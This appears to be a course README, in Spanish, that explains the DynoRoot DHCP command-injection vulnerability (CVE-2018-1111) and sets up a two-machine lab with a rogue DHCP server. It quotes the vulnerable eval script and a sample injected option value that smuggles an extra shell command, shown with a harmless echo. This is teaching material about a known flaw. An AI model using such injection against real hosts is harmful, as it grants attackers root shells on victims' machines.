baldassarrefe/fep3370-advanced-ethical-hackingExplotación de DHCP con DynoRoot (CVE-2018-1111)
Este proyecto demuestra una vulnerabilidad conocida de máquinas Fedora y RedHat relacionada con una implementación insegura del lado del cliente del Protocolo de Configuración Dinámica de Host (DHCP). Un servidor DHCP malicioso puede crear ofertas DHCP con una carga maliciosa que se ejecuta en una shell root en la máquina víctima.
La vulnerabilidad es atribuida a Felix Wilhelm y se conoce como CVE-2018-1111 o "DynoRoot".
El Protocolo de Configuración Dinámica de Host (DHCP) es un componente a menudo pasado por alto en sistemas en red. Su función es permitir la configuración dinámica de las máquinas host que se conectan a una red existente. El caso de uso más común es asignar una dirección IP a los hosts recién conectados e informarles de las rutas existentes para acceder a otras redes. Se pueden especificar opciones adicionales, por ejemplo, la dirección de un servidor DNS local y la zona que sirve, o la ubicación de un archivo de arranque.
Analicemos el protocolo de 4 vías que se sigue cuando un nuevo host quiere unirse a una red después de conectarse físicamente a ella mediante una conexión ethernet o inalámbrica.
DISCOVER a la red.OFFER, que contiene: dirección IP, máscara de subred, dirección del router y otras opciones.REQUEST, solicitando oficialmente tomar en arriendo la dirección IP que se ofreció.ACK, indicando que el cliente tiene permitido usar la dirección IP durante un período de tiempo específico.Después del intercambio inicial, el cliente puede renovar el arrendamiento simplemente enviando otro mensaje REQUEST. El servidor verificará la existencia de un arrendamiento con la dirección IP y MAC del cliente y responderá con un ACK.
Sesión DHCP (figura de Wikimedia Commons, bajo licencia CC BY-SA 4.0).
Algunos aspectos a tener en cuenta:
DISCOVER y solicitar inmediatamente una dirección con REQUEST. Esto es común en escenarios en los que el cliente ya se conectó a la red anteriormente y recuerda la dirección anterior. En este caso, el servidor verifica la disponibilidad de la dirección y responde con un ACK, o, en caso de que el arrendamiento no esté disponible, envía un NACK.RELEASE para informar al servidor que la dirección ahora está disponible. Sin embargo, esto no es obligatorio según el protocolo y el servidor recolectará periódicamente los arrendamientos vencidos.La vulnerabilidad se encuentra en /etc/NetworkManager/dispatcher.d/11-dhclient, que es ejecutado por el cliente para analizar y establecer las opciones recibidas mediante DHCP.
declare es un comando interno de bash que, cuando se usa sin argumentos, lista todas las variables declaradas.grep filtra todas las variables relacionadas con DHCP.while read opt itera sobre las variables DHCP una por una, realiza algún análisis e imprime una línea como export new_optionname=value para cada opción.eval.```bash
eval "$(
declare | LC_ALL=C grep '^DHCP4_[A-Z_]=' | while read opt; do
optname=${opt%%=}
optname=${optname,,}
optname=new_${optname#dhcp4_}
optvalue=${opt#*=}
echo "export $optname=$optvalue"
done
)"<!-- omit in toc -->
#### Operación normal
En situaciones normales, el código funcionaría perfectamente y analizaría las nuevas opciones DHCP.
Como ejemplo, el siguiente código:```bash
DHCP4_OPTION_ONE=42
DHCP4_OPTION_TWO="bla bla"
declare | LC_ALL=C grep '^DHCP4_[A-Z_]*=' | while read opt; do
optname=${opt%%=*}
optname=${optname,,}
optname=new_${optname#dhcp4_}
optvalue=${opt#*=}
echo "export $optname=$optvalue"
done
Imprimirá estas dos sentencias export para ser evaluadas por eval:```bash
export new_option_one=42
export new_option_two='bla bla'
<!-- omit in toc -->
#### Inyección de código
Sin embargo, debido al inseguro `eval`, es posible inyectar comandos de bash:```bash
DHCP4_OPTION_ONE="x'& echo Hacked! #"
DHCP4_OPTION_TWO='bla bla'
eval "$(
declare | LC_ALL=C grep '^DHCP4_[A-Z_]*=' | while read opt; do
optname=${opt%%=*}
optname=${optname,,}
optname=new_${optname#dhcp4_}
optvalue=${opt#*=}
echo "export $optname=$optvalue"
done
)"
Resultará en la evaluación de echo Hacked!:```text
[1] 1541
Hacked!
### Fuentes
- [Entrada de la base de exploit](https://www.exploit-db.com/exploits/44890)
- [Anuncio de RedHat](https://access.redhat.com/security/vulnerabilities/3442151)
- [Publicación en el blog de Tenable](https://www.tenable.com/blog/advisory-red-hat-dhcp-client-command-injection-trouble)
- [Repositorio de GitHub](https://github.com/kkirsche/CVE-2018-1111)
- [Anuncio en Twitter](https://twitter.com/_fel1x/status/996388421273882626?lang=en)
## Configuración
La configuración mínima para demostrar el exploit consiste en solo dos máquinas: la máquina `victim` ejecutando Fedora 28, y una máquina `attacker`. En esta configuración, el atacante simplemente necesita ofrecer un servicio DHCP y esperar la conexión de la víctima.
<figure style="text-align:center">
<img src="https://raw.githubusercontent.com/baldassarrefe/fep3370-advanced-ethical-hacking/HEAD/media/network_simple.svg" style="max-width:400px;" width="90%"/>
<figcaption>Configuración mínima del exploit.</figcaption>
</figure>
Una configuración más realista colocaría las máquinas en una red privada, donde una tercera máquina, la `gateway`, está configurada como el servidor DHCP benigno y como la puerta de enlace a Internet exterior. En esta configuración, el atacante debe evitar que la víctima se conecte al servidor DHCP legítimo antes de poder realizar el ataque.